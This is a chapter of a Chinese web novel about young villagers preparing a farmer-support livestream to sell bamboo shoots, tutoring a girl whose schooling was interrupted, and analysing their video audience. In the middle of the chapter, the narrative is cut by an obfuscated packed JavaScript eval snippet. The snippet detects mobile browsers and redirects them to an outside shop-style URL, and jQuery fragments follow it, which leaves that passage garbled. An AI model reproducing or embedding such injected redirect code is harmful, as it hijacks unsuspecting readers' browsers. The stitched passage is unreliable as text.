车子拐过村口的老槐树，院墙上的爬藤已经绿了一片。沈摘星远远看见院门，就把车窗摇下来，半个脑袋探出去张望。


    “到了到了！”她喊了一声，声音被风拖得长长的。


    车子刚停稳，她就解开安全带跳下去。但这次没跑进院子，院门口站着一个人。


    汪小雅穿着件浅蓝色的衬衫，扎着低马尾，袖口挽了两道，手里夹着一个文件夹。她站在玉兰树下面，阳光透过树叶在她身上洒了一小片一小片的光斑，像落了一身的碎金。


    “小雅姐？”李乘歌拎着文件袋下车，看见汪小雅也愣了一下，“你怎么来啦？”


    汪小雅转过身来，朝她笑了笑：“来找你们商量点事。”


    “怎么不进屋等？”李乘歌把文件袋夹在胳膊下面，走过去推院门，“站了多久了？”


    “刚到。”汪小雅跟在她后面走进院子，“看你们没在，就在这儿站了一会儿。”她说着，朝刚下车的傅拭雪点了点头。


    傅拭雪锁好车门走过来，也点了点头算是打过招呼。汪小雅把手里的文件夹换了只手拿着，正了正神色：“正好，我有个事想跟你们商量。”


    几个人进了院子。沈摘星跑去搬凳子，李乘歌去倒水，汪小雅在石桌边坐下，把文件夹打开，里面夹着几页纸，打印得整整齐齐，边角还贴了几张便签。


    “村里最近在搞一个助农直播的项目，你们知道吧？”汪小雅说。


    李乘歌把水递给她，在旁边坐下：“听二伯母提过一嘴，说是在村口大堂搭了个台子。”


    “对。”汪小雅接过水喝了一口，把文件夹里的纸抽出来，摊在桌上，“镇里今年有个‘一村一品’的数字助农项目，每个乡镇报两个试点村。咱们村报上去了，批下来了，专项资金前几天到位。现在村委会在大堂那边搭了个简易的直播间，设备是镇里统一配的——补光灯、麦克风、声卡，还有一台直播用的摄像机，网线也重新拉过了，千兆光纤。”


    傅拭雪在对面坐下来，没插话，听着。


    “第一批试播的是阿桂姐和建国叔。”汪小雅继续说，“他们家收的笋，加上自己加工的笋干、笋丝，算是现在村里量最大的，东西好，就是卖出去的渠道太少。村委的意思是，先让他们俩试试水，我们有人在旁边帮着盯设备、控场。”


    她顿了顿，看了一眼李乘歌，又看了一眼傅拭雪：“我今天来，是想问问你们，要不要一起？”


    “具体怎么个一起法？”傅拭雪问。


    汪小雅翻了一页纸，指着上面用荧光笔划出来的一段：“方案是这样的，村口大堂的直播间，每天上午九点到十一点，下午两点到四点，对村里所有农户开放预约。每户每周可以约两个时段，村委派人协助。阿桂姐和建国叔已经约了这周三和周五的上午场。”


    她抬头看着他们：“你们要是想参与，我可以帮你们约时段。设备现成的，不用自己搭。村委这边会统一做宣传——公众号、抖音、县里的融媒体，都会发预告。直播间里会挂村里的统一标识，但每个农户可以有自己的牌子。”


    她从文件夹最底下抽出一张表，推到傅拭雪面前：“这是直播时段申请表。你们填了交给我就行。”


    傅拭雪低头看了看那张表，格式很规范，有申请主体、直播内容、预计时长、目标受众、需要的设备支持，最下面还有一行小字注明了直播规范，列了七八条注意事项。


    李乘歌凑过来看了一眼，抬头问：“直播间的流量怎么算？”


    “村委统一推流。”汪小雅说，“县里融媒体中心会给一个推荐位，镇上的公众号也会转发。具体的转化和成交，归你们自己。”


    她顿了顿，又补了一句，“村委不收任何费用，这是扶持项目，不是商业合作。”


    李乘歌点点头，没再问。


    傅拭雪把那张表翻过来看了看背面，又翻回去，放在桌上：“我们需要准备什么？”


    “产品。”汪小雅说，“你们地里种的那些，番茄、葡萄、麦子，或者加工好的东西。直播间里要展示的，得有实物。另外就是人。”


    她看了一眼院子里这几个人，“谁出镜，谁控场，谁盯后台，你们自己安排。”


    她说着，又从文件夹里抽出一张纸，这次是一份打印好的《村级直播间运营规范》，上面列着直播间的使用规定、设备操作流程、内容审核标准，还有应急处理方案。纸张是新的，打印的字迹很清晰，边角还带着复印机的余温。


    “这份你们看看，里面有设备操作说明和内容规范。第一次用的话，我可以提前半小时过来帮你们调试设备。”汪小雅把纸递过去，然后站起来，“不着急决定，这周之内给我答复就行。”


    “小雅姐。”傅拭雪叫住她。


    汪小雅看着他。


    “我们刚刚起步，暂时还没有属于自己的产品。”傅拭雪实话实说，“之前我们和阿桂姐、建国叔聊过，他们今年收了不少临边村民的笋，东西是好东西，就是不怎么会卖。”


    “我们想着，与其等自己的东西长出来再折腾，不如先帮他们把笋卖一卖。他们那边有稳定的货源，我们有时间、有人，能帮着在直播间里吆喝吆喝。而且笋这个东西季节性强，这一茬过去了就得等明年，耽误不起。”


    汪小雅认真地听着。


    傅拭雪继续说：“建国叔他们收笋，是帮临边那几个老人解决销路，这个事要是能做成，以后每年到了季节，大家就知道找建国叔。不是一锤子买卖，是能把这条线慢慢养起来的事。”


    他顿了顿，把话说得更透了些：“往长远了说，这就是一个双向的良性循环。对建国叔来讲，直播间不是帮他卖一次笋，是帮他建一个长期的销售渠道。今年买了笋的人，明年到了季节自己就会来找他，用不着年年重新拓客，这个客户沉淀的成本就省下来了。”


    “对村里来讲，临边那几个老人的笋有了固定销路，他们不会因为卖不出去就不挖了，也不会因为着急卖就压价。货源稳定了，价格也稳定了，整个供应链就通了。以后不只是笋，山上那些野果子、野菜、手工做的粉条、腌菜，都能顺着这条链子往外走。”


    “对我们来讲，这件事也不白干。”他笑了一下，很坦诚，“我们刚起步，没有自己的产品，没有客户基础，连直播都没试过水。帮建国叔播这一场，等于练兵——设备怎么用，话术怎么说，后台怎么盯，全流程走一遍。等我们自己的东西下来了，不至于手忙脚乱。”


    “而且建国叔那边的客户，以后也能成为我们的客户。他卖笋，我们卖番茄、卖葡萄，不是竞争关系，是互补的。客户想吃笋的时候找建国叔，想吃番茄的时候找我们，大家互相引流，谁都亏不了。”


    汪小雅听完，笑了：“你这一套一套的，算得挺明白。”


    傅拭雪也笑了：“算不明白不行，地不等人。”


    汪小雅把文件夹打开，抽出一张表递过来：“那周三上午你们先来看看，不急着上手。这个先填着——农户合作备案表，回头我拿给建国叔签个字。”


    傅拭雪接过来，低头看了看。表格印得规整，申请主体、合作方信息、产品品类、预计直播时段，一栏一栏的，最下面盖着村委会的公章，红红的，还新鲜。他把纸叠好，和之前那张申请表放在一起，


    汪小雅把文件夹合上，夹在胳膊下面，走到门口又回头，像突然想起什么似的：“对了，你们那个营业执照——”


    “办下来了。”李乘歌从文件袋里把执照拿出来，递过去给她看。


    汪小雅接过来，低头看了一眼，目光在“四季三餐农业有限公司”那几个字上停了一下，又看了看经营范围那一长串，嘴角弯了弯：“写得挺全。”


    汪小雅把执照递还给李乘歌：“那正好，下次来我带个登记表，村委这边要备案一下。村里搞助农项目的，所有参与的经营主体都要登记在册，到时候县里要报数据。”


    “行。”李乘歌把执照收好。


    汪小雅又看了一眼院子里这几个人，目光在沈摘星身上多停了一秒，她记得第一次见这姑娘的时候，小姑娘缩在傅拭雪身后，手攥着衣角，问什么都只是点头摇头，声音小得跟蚊子似的。现在倒好，坐在石桌边，手里攥着水瓶子，眼睛亮亮地看着她，嘴角翘着，整个人像被太阳晒透了似的，从里到外都亮堂了。


    汪小雅嘴角弯了弯，没说什么，目光在沈摘星身上又停了一下，像是忽然想起什么事。


    “对了，摘星学籍的事——”她看向傅拭雪，“我跟镇上教育办的人又聊了一次。”


    院子里安静了一瞬。沈摘星手里的水瓶子停在半空，嘴角的笑还挂着，但眼睛里的光收了一点，像是在等一个不知道好坏的答案。


    汪小雅语气放慢了些：“现在的情况是，恢复学籍的申请已经递上去了，但审批需要时间。而且——”她顿了顿，“现在已经是下半学期了，就算手续赶在期中之前办完，把孩子插进去，她也跟不上。高中的课，落下半学期，不是几天能补回来的。”


    她看了一眼沈摘星，小姑娘低着头，手指在瓶子上慢慢转着，没说话。


    “镇里的意思是，等下半年，新学年开始的时候，再给她恢复学籍。”汪小雅说，“到时候直接从高一上起，基础打得牢，孩子也不遭罪。”


    “高一？”李乘歌皱了一下眉，“摘星今年十七，按年纪应该上高二了。等下半年再上高一，比同班的孩子大一两岁。”


    “没办法。”汪小雅叹了口气，“现在市里的高中都是看中考成绩进的，摘星没有中考成绩，走正常的录取通道进不去。能去的只有——”


    她没说完，但院子里几个人都听懂了。技校，或者卫校。这是没有中考成绩的孩子能走的路。


    “不行。”李乘歌的声音不大，但很干脆。


    她把手里的文件袋放在石桌上，看着汪小雅，语气平静，但每个字都落得很实：“摘星不去技校，也不去卫校。让她恢复初三的学籍，明年参加中考，考高中，然后考大学。”


    汪小雅愣了一下，看了看李乘歌，又看了看傅拭雪。


    “学历很重要。”李乘歌说，低头看了一眼坐在旁边的沈摘星。小姑娘没抬头，但攥着瓶子的手指紧了一下。“不是我们非要她走那条路，是这个社会认那张文凭。以后她想做什么都行，回来种地也行，但得有选择的权利。没有那张文凭，很多门就是关着的。”


    她顿了顿，声音轻了一些：“她还小，不着急这一年两年的。学籍的事慢慢办，课我们给她补。初中的知识，我们几个人加起来，应该能顶一阵子。”


    沈摘星慢慢抬起头，看了看李乘歌，又看了看傅拭雪，最后看向汪小雅。她的眼睛亮亮的，嘴唇抿着，没说话，但攥瓶子的手指松开了。


    汪小雅沉默了一会儿，点点头：“行，我回去跟教育办再沟通一下，看看初三学籍恢复要怎么走流程。初三的话，问题应该不大，本来就是义务教育阶段，手续比高中好办。”


    她看了一眼沈摘星，嘴角弯了弯：“那摘星这段时间，就要辛苦一点了。初三的知识，你已经有两三年没接触了，得补。”


    “我不怕。”沈摘星的声音不大，但很稳。


    汪小雅笑了，朝她点点头，转身往院门口走，走了两步又回头：“周三见。”


    “周三见。”几个人应了一声。


    汪小雅拐过院墙，脚步声远了。


    院子里安静下来，阳光照在石桌上，照在那瓶婆婆纳上，照在沈摘星低下去的头顶上。


    她低头看着手里的水瓶子，瓶身已经不凉了，上面凝着的水珠早就干了。


    她转了转瓶子，忽然抬起头，看着李乘歌，声音小小的，像是怕把什么东西问碎了：“乘歌姐姐，那我要是考不上高中呢？”


    “不怕。”李乘歌在她旁边坐下，“有我们呢。”


    “我回去跟教育办再磨一磨。”汪小雅的声音又从院墙外面飘进来，像是走了又折回来，“初三学籍的事，应该问题不大。你们这边也准备一下材料，回头我列个清单给你们。”


    “好。”傅拭雪应了一声。


    汪小雅的脚步声这回真的远了。沈摘星把水瓶子放在桌上，站起来，走到石桌边那瓶婆婆纳前面，低头看了看那些小紫花。花还是好好的，紫莹莹的，在风里轻轻晃。


    她伸出手指碰了碰其中一朵，花瓣凉凉的，薄薄的，一碰就颤了一下。


    “摘星。”宋鹤眠叫她。


    她回过头。


    “下午开始补课，行不行？”


    沈摘星愣了一下，然后点点头：“行。”


    她走回石桌边坐下，石桌上的花瓶被挪到了一边，课本和笔记本摊了一桌。


    英语书翻到折角的那一页，阳光照在课本上，照在她翻开的页面上，那些英文单词在光里亮着。她低头看了一眼第一行，开始默读。


    傅拭雪坐在她对面，电脑开着，屏幕的蓝光映在他脸上，他把昨晚剪辑好的视频上传到平台。


    他点了发布，等了几秒，页面上跳出“发布成功”四个字。


    没急着看数据，他把页面关掉，从素材库里把昨晚的文件夹拖进剪辑软件。文件不大，就一个，二十多分钟，是李乘歌架在石桌边上的那部手机拍的。


    他双击打开，画面跳出来——暗的，只有中间一团光，是炉子里的炭火在晃。


    他把进度条拖到开头，从头看起。


    画面一开始有点晃，是李乘歌在调手机角度，镜头从石桌扫到炉子，又从炉子扫到椅子，最后定在一个位置，正对着院子中间。


    然后她走回画面里，在炉子旁边坐下，手里拿着蒲扇扇了两下，炭火亮了一些，火星子飞起来，又落下去。


    画面暗，但声音先出来了。是夏叙言在调吉他，拨了两下弦，试了试音，又拧了拧弦轴。声音不大，但在安静的院子里格外清楚，像石子丢进水里，波纹一圈一圈地荡开。


    前奏慢慢地淌出来，旋律不复杂，但弹的人不急，一个一个音地往外拨，像是在院子里种花，种下去一颗，开一朵，种下去一颗，又开一朵。


    傅拭雪把这段又看了一遍。


    画面里，炉子的炭火映在每个人脸上。李乘歌端着茶杯靠在椅背上，嘴角弯着，看着炉子里的火，不知道在想什么。宋鹤眠坐在她旁边，手里也端着杯子，但没喝，就捧着，指尖在杯沿上慢慢转着。沈摘星趴在桌上，下巴搁在胳膊上，眼睛盯着夏叙言的手指，看他一个音一个音地拨，看得认真，像在学什么。傅砚修坐在最边上，他的半张脸被炉火映着，另外半张隐在暗处。


    自己坐在最边上，电脑开着，屏幕的蓝光映在脸上，但他没在看电脑，目光落在这个小院里的每一个人。


    吉他声从笔记本的扬声器里传出来，和院子里真正的风声混在一起，有点分不清哪个是画面里的，哪个是外面的。


    进度条走到副歌的部分，旋律往上扬了一点。画面里，沈摘星忽然动了，她从桌上抬起头，伸手够了一瓣橙子塞进嘴里，嚼了两下，又趴回去。橙子的汁水蹭在嘴角上，在火光里亮了一下，她随手一擦，继续听。


    宋鹤眠看了她一眼，伸手把她额前的碎发别到耳后。沈摘星没动，就让她别，眼睛还盯着夏叙言的手指。


    傅拭雪把这段又倒回去看了一遍。


    别头发那一下很短，不到一秒，但他觉得这个画面应该留下来。不是那种需要特别说明的东西，就是很自然的，像风吹过来，麦浪会涌，像炭火烧着，火星子会飞。


    宋鹤眠伸手，沈摘星没躲，就这么一下。


    他继续往后拖。


    一曲弹完，画面里安静了几秒。炉子里的炭火噼啪响了一声，沈摘星打了个小小的哈欠。夏叙言把吉他靠在石桌边，端起茶杯喝了一口。李乘歌往炉子里添了两块炭，拿蒲扇扇了几下，火星子又飞起来，在暗色的画面里一闪一闪的。


    画面里没人说话。


    等夏叙言弹唱下一首歌时，李乘歌把茶杯放下了，双手捧着，靠在椅背上，看着炉子里的火。宋鹤眠把脚收上来，盘腿坐在椅子上，下巴搁在膝盖上。沈摘星已经换了姿势，侧着头枕在胳膊上，眼睛半睁半闭的，不知道还醒没醒着。傅砚修还是那个姿势，靠在椅背上，手里把玩着一个小金桔。


    傅拭雪看着这个画面，忽然觉得，这首歌不需要听过。画面里那种感觉，比旋律本身更清楚。


    进度条又走了几分钟。第二首弹完了，夏叙言把吉他放下，活动了一下手指。沈摘星没动，像是睡着了。李乘歌站起来，把炉子里的炭火灭了，动作很轻，怕吵醒谁。茶壶收了，碟子收了，橙子皮扔进垃圾桶里，脚步声在画面里闷闷地响着。


    “睡吧。”她声音很轻，“明天还有活。”


    画面开始晃了。大概是有人站起来，碰了一下石桌，手机歪了一点，镜头对着院墙上方的天空。星星在画面里定格，一动不动，有几颗特别亮的，在暗色的画面里像家屋檐下的小灯。


    声音还在。椅子挪动的声音，脚步声，门轴转动的轻响，谁轻轻说了一句“晚安”，谁又应了一声“晚安”。然后安静下来。


    只剩下风声，和远处偶尔一两声虫鸣。


    画面还亮着，星星还在，炉子里的炭火灭了，但还有一缕细细的白烟，在镜头前面飘了一下，散了。


    傅拭雪靠在椅背上，把进度条拉回开头，又看了一遍。前奏响起来的时候，院子里真正的风声刚好从窗外飘进来，和画面里的琴声叠在一起。


    他忽然觉得，这段视频不用怎么剪。把开头晃的那几秒裁掉，把中间太长的一段静音稍微压一压，把最后那几分钟星空留长一点，就已经很好啦。


    不需要配乐，不需要字幕，不需要那些花里胡哨的东西。画面里有的，就足够了——炉子里的炭火，茶杯上飘着的白气，沈摘星趴在桌上听琴，宋鹤眠帮她别头发，夏叙言的手指在弦上慢慢地走，李乘歌添炭的时候火星子飞起来，傅砚修靠在椅背上闭着眼睛。


    这些东西，比什么剪辑都好看。


    他把素材重新拖了一遍，裁掉开头，调了一下暗部的亮度，让炉火再亮一点，让星星再清楚一点。加字幕的时候，他只在最后那几秒的星空下面打了一行字——


    “小院里的一个晚上。”


    写完了看了看，觉得太直白了，改成“三月末，有风，有琴，有你们”。又觉得太长了，删掉，最后还是用了第一版。


    “小院里的一个晚上。”


    这个就非常好。


    他把视频导出


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364609|198833||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，页面跳转，视频开始上传。


    进度条走到一半的时候，院子里起了风。玉兰树晃了一下，落下一片花瓣，飘在石桌上，落在那瓶婆婆纳旁边。


    李乘歌坐在他旁边，也在看电脑，但看的不是剪辑软件，是一份文档。她时不时停下来想一想，删几个字，又加几个字，文档的标题写着“四季三餐·助农直播合作方案”。写累了就抬头看一眼沈摘星，看她有没有走神，看她笔有没有动。


    沈摘星没走神，她盯着课本，眉头微微皱着，嘴唇一张一合，无声地念着什么。念到卡住的地方就停下来，翻到前面的单词表找一找，找到了再翻回来继续念。


    宋鹤眠坐在李乘歌旁边，屏幕上也是一份文档，标题是“直播流程与分工建议”。


    她把时间轴拉出来，从开播前半小时开始，到下播后复盘结束，每个节点都标了负责人。设备调试、产品摆放、后台盯盘、评论区互动，一格一格地填进去，像在排一张值日表。


    “直播间谁去助播？”宋鹤眠问。


    “我来吧。”李乘歌从自己的文档里抬起头，“关于笋，我想我应该是我们中间最熟的。”


    宋鹤眠点了点头，在表格里“现场协助—递话、控节奏”那一栏填上李乘歌。


    李乘歌凑过来看了一眼她屏幕上的表格，指着“设备调试”那一栏：“这个让傅拭雪来，他可以。”


    宋鹤眠把傅拭雪三个字填进去，又在后面加了一行：提前半小时到，试麦、试光、试网速。


    两个人各自对着屏幕，偶尔交换一句，偶尔同时停下来想事情。


    院子另一头，两张椅子并排摆着，两台电脑面对面支在石桌上。


    夏叙言坐在左边那台电脑前，屏幕上是一张已经做了一半的表格，密密麻麻地列着几列数据：年龄区间、地域分布、访问时段、互动频次。


    他把后台导出的用户列表一条一条地过，把重复的筛掉，把异常的标出来，时不时往表格里添一行备注。


    傅砚修坐在他旁边，屏幕上是另一套东西。他把今天评论区里的关键词提取出来，做了个简单的词频统计，词条从高到低排成一列——“看着好解压”“想靠近土地”“怎么买”……


    最上面那几个词的字号大一些，越往下越小，像一座倒过来的金字塔。


    “年龄分布你那边怎么样？”傅砚修头也不抬地问。


    夏叙言把表格往下拉了拉：“25到35占四成，35到45占三成，剩下的零零散散。女性偏多，六成出头。”


    “和我这边对得上。”傅砚修在电脑上敲了几下，把词频统计按年龄分层重新排了一下，“20到35的喜欢说‘解压’，35到45的喜欢问‘怎么买’。年轻的来缓解压力，年长的爱看门道。”


    夏叙言点了点头，在表格里加了一列备注，把这两类人的偏好分开了写。他的手指在键盘上敲得不快，但每一个字都落得很准。


    “地域呢？”傅砚修又问。


    “一线城市和省会占六成，二三线占三成，剩下的散在各地。”夏叙言把地图那块的数据调出来，屏幕上一片密密麻麻的点，集中在东部和南部，“大部分是城里人，离土地很远的那种。”


    “难怪爱看种地。”傅砚修笑了一下，把词频统计里的“看着好解压”那一条字号又调大了一点，“离得越远越想看。”


    两个人对着屏幕，一个调数据，一个填表格，偶尔交换一句，偶尔同时停下来，各自对着屏幕想一会儿。


    傅砚修把评论区里提到“价格”的词条单独筛出来，看了一会儿，皱了一下眉：“大部分人没提价格。”


    “正常。”夏叙言头也不抬，“还没到掏钱那一步，关心的是东西好不好，不是贵不贵。”


    他在表格里“价格敏感度”那一栏写了两行字：现阶段不敏感，决策关键在信任感建立之后。写完了又看了一眼，把“之后”两个字改成了“之前”。


    傅砚修把电脑屏幕转过来给他看，上面是一个简单的坐标轴，横轴是内容类型，纵轴是互动率。几个点散在上面，最高的那个标着“干活现场”，第二高的标着“翻车片段”，最低的那个标着“产品介绍”。


    “你看。”傅砚修指着那个最高点，“观众最爱看的还是干活。你正儿八经介绍产品，他们反而不买账。”


    夏叙言凑过来看了一眼，点了点头，在表格里加了一行：内容偏好——干活>翻车>产品介绍。写完了又看了一眼，觉得这个排序有点意思，干活排第一，翻车排第二，正正经经卖东西反而排最后。


    “那以后直播，是不是得多干活少说话？”他问。


    傅砚修想了想，把坐标轴关掉，切回词频统计：“也不是少说话，是说他们爱听的话。他们想看你怎么种地，你就边种边说。把卖东西藏在干活里头，别干巴巴地介绍。”


    夏叙言把这句话也记了下来。


    两个人又安静下来，各自对着屏幕。阳光从玉兰树的缝隙里漏下来，落在电脑键盘上，落在他们敲键盘的手指上。风把桌上的纸页吹得掀了一下，夏叙言伸手压住，顺手在上面又加了一行字。


    “对了。”傅砚修忽然开口，“阿桂姐和建国叔那边，你觉得第一场直播主打什么？”


    夏叙言把表格往上翻了翻，找到“笋”那一行：“鲜笋不能放，先走鲜笋。笋干和笋丝可以囤，放在后面慢慢卖。鲜笋的量不大，走快一点，卖完就没了，反而显得金贵。”


    傅砚修点了点头，在电脑上新建了一个文档，标题打着“周三直播建议”，在第一行写下：鲜笋优先，限量开售，强调产地和时令。


    他写完了看了看，又加了一行：直播画面以剥笋、切笋、炖笋为主。


    夏叙言又看了一眼那个词频统计，他忽然觉得，这些数字不是冷冰冰的，是活的。每一个点击、每一条评论，都是一个人坐在屏幕前面，看了他们的视频，想了点什么，然后动了动手指。这些点连起来，就成了他们面前这张表。


    他把表格又往下拉了一行，在最底下加了一句：用户画像总结——城里人，离土地很远，想看土地，也想看土地上的人。


    时间不知过了多久，宋鹤眠从电脑后面抬起头，起身活动了一下发酸的脖子。从屋里端了一盘切好的橙子出来，放在石桌边上，沈摘星伸手拿了一瓣塞进嘴里，嚼了两下，眼睛还盯着课本。


    “歇一会儿。”宋鹤眠在她旁边坐下。


    “再看两行。”沈摘星含糊不清地说，嘴里还含着橙子。


    宋鹤眠没催她，把橙子盘子往她那边推了推，拿起桌上那张英语课本，看了一眼她正在读的那篇短文。文章不长，讲的是环保，生词不算多，但有好几个长单词她念得不太顺。


    “这个，”宋鹤眠指着其中一个词，“environmental，拆开念——en-vi-ron-men-tal。”


    沈摘星跟着念了一遍，比刚才顺了一些。


    宋鹤眠揉揉她的脑袋，“明天我们再读一遍，就差不多了。”


    沈摘星点点头，又拿了一瓣橙子塞进嘴里，低头继续看课本。


    傅拭雪从电脑后面抬起头，看了一眼院子里这几个人，大家都在为了同一个目标而努力，补课、剪视频、写方案、分析数据——看起来各做各的，但都围着同一件事转。


    李乘歌把方案最后一段写完了，保存文档，靠在椅背上，看了一眼宋鹤眠的屏幕。她的表格也快填满了，从开播前的设备调试到下播后的数据复盘，每一格都写着名字和时间，整整齐齐的。


    夏叙言的数据分析表也写完了，他看了两遍，没改，把电脑合上了。


    “不弄了？”傅砚修问。


    “差不多了。”夏叙言把石凳上那几张A4纸收起来，叠整齐，压在花瓶底下，“明天再细化。”


    傅砚修也把电脑合上，靠在椅背上，看着院子里其他人。


    这些画面和屏幕上的那些数据忽然连起来了。那些坐标轴上的点、表格里的数字、词频统计里的关键词，好像都有了来处。


    那些说“看着好解压”的人，大概就是坐在某个城市的某个房间里，对着屏幕，看着这片院子，看着这些人在太阳底下干活，然后觉得心里静了一下。


    傅砚修把手机收起来，揉了揉眼睛，看了一眼天色。太阳已经偏西了，光线从金色变成了橘红色，落在院子里，落在每个人身上。


    “几点了？”他问。


    “快五点了。”李乘歌看了一眼电脑右下角。


    沈摘星从课本上抬起头，看了看天，又看了看大家，忽然说：“今天过得好快。”


    “因为你在忙。”宋鹤眠说，“忙起来时间就快。”


    沈摘星想了想，点点头，把课本收进书包里，站起来伸了个懒腰。骨头节响了两下，她自己吓了一跳，摸了摸后腰，又坐回去了。


    几个人都笑了。


    傅拭雪把在平台上定时了，合上电脑，靠在椅背上，看着院子里这些光。


    太阳还在往下沉，光线越来越软，玉兰树的影子在地上慢慢拉长，从石桌边一直伸到院墙根底下。


    石桌上那瓶婆婆纳在风里轻轻晃着，花瓣上还沾着中午浇水时溅上去的水珠，在夕阳里亮了一下，又暗下去。